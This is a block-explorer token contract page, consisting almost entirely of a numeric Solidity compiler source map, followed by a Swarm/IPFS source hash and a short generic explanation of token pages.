:12;;18599:6;:22;;18591:95;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18511:191;18707:28;18738:24;18756:4;18738:9;:24::i;:::-;18707:55;;18777:28;18832:23;;18808:20;:47;;18777:78;;18874:23;:44;;;;;18902:16;;;;;;;;;;;18901:17;18874:44;:69;;;;;18923:12;:20;18936:6;18923:20;;;;;;;;;;;;;;;;;;;;;;;;;18922:21;18874:69;18870:260;;;18977:25;;;;;;;;;;;18974:95;;;19046:23;;19023:46;;18974:95;19076:36;19091:20;19076:14;:36::i;:::-;18870:260;19147:16;;;;;;;;;;;:51;;;;;19168:19;:30;19188:9;19168:30;;;;;;;;;;;;;;;;;;;;;;;;;19167:31;19147:51;19144:215;;;19279:10;;19209:66;19234:40;19269:4;19234:30;19245:18;;19234:6;:10;;:30;;;;:::i;:::-;:34;;:40;;;;:::i;:::-;19209:20;19219:9;19209;:20::i;:::-;:24;;:66;;;;:::i;:::-;:80;;19201:142;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19144:215;19375:200;19379:120;19383:40;19418:4;19383:30;19394:18;;19383:6;:10;;:30;;;;:::i;:::-;:34;;:40;;;;:::i;:::-;19424:74;19379:3;:120::i;:::-;19500:74;19375:3;:200::i;:::-;19361:9;19371:1;19361:12;;;;;;;;:214;;;;19618:129;19631:40;19666:4;19631:30;19642:18;;19631:6;:10;;:30;;;;:::i;:::-;:34;;:40;;;;:::i;:::-;19622:6;:49;19672:74;19618:3;:129::i;:::-;19605:9;19615:1;19605:12;;;;;;;;:142;;;;19774:15;:23;19790:6;19774:23;;;;;;;;;;;;;;;;;;;;;;;;;19773:24;:56;;;;19803:15;:26;19819:9;19803:26;;;;;;;;;;;;;;;;;;;;;;;;;19802:27;19773:56;19771:112;;;;19834:12;:23;19847:9;19834:23;;;;;;;;;;;;;;;;;;;;;;;;;:47;;;;19861:12;:20;19874:6;19861:20;;;;;;;;;;;;;;;;;;;;;;;;;19834:47;19771:112;19767:238;;;19902:4;19885:15;;:21;;;;;;;;;;;19767:238;;;19934:5;19917:15;;:22;19913:90;;19941:16;:14;:16::i;:::-;19913:90;;;19997:4;19980:15;;:21;;;;;;;;;;19964:15;:37;;;;19913:90;19767:238;20019:41;20034:6;20042:9;20053:6;20019:14;:41::i;:::-;;20083:4;20076:11;;;;18002:2104;;;;;;:::o;1506:181::-;1592:7;1625:1;1620;:6;;1628:12;1612:29;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1652:9;1668:1;1664;:5;1652:17;;1678:1;1671:8;;;1506:181;;;;;:::o;1332:172::-;1390:7;1417:79;1421:1;1424;1417:79;;;;;;;;;;;;;;;;;:3;:79::i;:::-;1410:86;;1332:172;;;;:::o;2127:277::-;2213:7;2245:1;2241;:5;2248:12;2233:28;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2272:9;2288:1;2284;:5;;;;;;2272:17;;2395:1;2388:8;;;2127:277;;;;;:::o;20504:734::-;20597:4;20634:81;20656:6;20634:81;;;;;;;;;;;;;;;;;:9;:17;20644:6;20634:17;;;;;;;;;;;;;;;;:21;;:81;;;;;:::i;:::-;20614:9;:17;20624:6;20614:17;;;;;;;;;;;;;;;:101;;;;20755:2;20739:15;:18;;;20726:9;20736:1;20726:12;;;;;;;;:31;;;;20772:16;;;;;;;;;;;20769:60;;;20804:1;20791:9;20801:1;20791:12;;;;;;;;:14;;;;20820:6;20807:9;20817:1;20807:12;;;;;;;;:19;;;;20769:60;20839:22;20864:95;20871:9;20881:1;20871:12;;;;;;;;;20868:2;:15;20884:74;20864:3;:95::i;:::-;20839:120;;20993:40;21018:14;20993:9;:20;21003:9;20993:20;;;;;;;;;;;;;;;;:24;;:40;;;;:::i;:::-;20970:9;:20;20980:9;20970:20;;;;;;;;;;;;;;;:63;;;;21072:43;21102:9;21112:1;21102:12;;;;;;;;;21072:9;:24;21090:4;21072:24;;;;;;;;;;;;;;;;:28;;:43;;;;:::i;:::-;21045:9;:24;21063:4;21045:24;;;;;;;;;;;;;;;:70;;;;21157:2;21141:15;:18;;;21128:9;21138:1;21128:12;;;;;;;;:31;;;;21192:9;21175:35;;21184:6;21175:35;;;21203:6;21175:35;;;;;;;;;;;;;;;;;;21228:4;21221:11;;;20504:734;;;;;:::o;21244:327::-;13834:4;13815:16;;:23;;;;;;;;;;;;;;;;;;21316:25:::1;21333:7;21316:16;:25::i;:::-;21352:23;21379:21;21352:48;;21432:1;21414:15;:19;21411:104;;;21458:18;;;;;;;;;;;21450:36;;:53;21487:15;21450:53;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;21411:104;21560:3;21544:15;:19;;;21531:9;21541:1;21531:12;;;;;;;;:32;;;;13849:1;13880:5:::0;13861:16;;:24;;;;;;;;;;;;;;;;;;21244:327;:::o;20106:259::-;20197:1;20181:15;;20178:2;20162:15;;20157:4;:20;:23;:39;:41;20141:15;:57;;;;20214:28;20200:9;20210:1;20200:12;;;;;;;;;:42;;;;;;;;;;;20262:15;;20246;:31;;;;20318:2;20302:15;:18;;;20289:9;20299:1;20289:12;;;;;;;;:31;;;;20348:15;;20332;:31;;;;20106:259::o;21577:723::-;21703:21;21741:1;21727:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21703:40;;21764:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21754:4;21759:1;21754:7;;;;;;;;;;;;;:32;;;;;;;;;;;21815:4;21797;21802:1;21797:7;;;;;;;;;;;;;:23;;;;;;;;;;;21831:62;21848:4;21863:15;;;;;;;;;;;21881:11;21831:8;:62::i;:::-;21921:15;;;;;;;;;;;:66;;;22002:11;22028:1;22072:4;22099;22135:15;21921:240;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22189:15;;22173;:31;;;;22248:5;22232:15;:21;;;22219:9;22229:1;22219:12;;;;;;;;:34;;;;22281:15;;22265;:31;;;;21577:723;;:::o
Swarm Source
ipfs://e6c06c2cf8e78069a21318d331701d84856dbded672d168347862a688c6d53f7
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.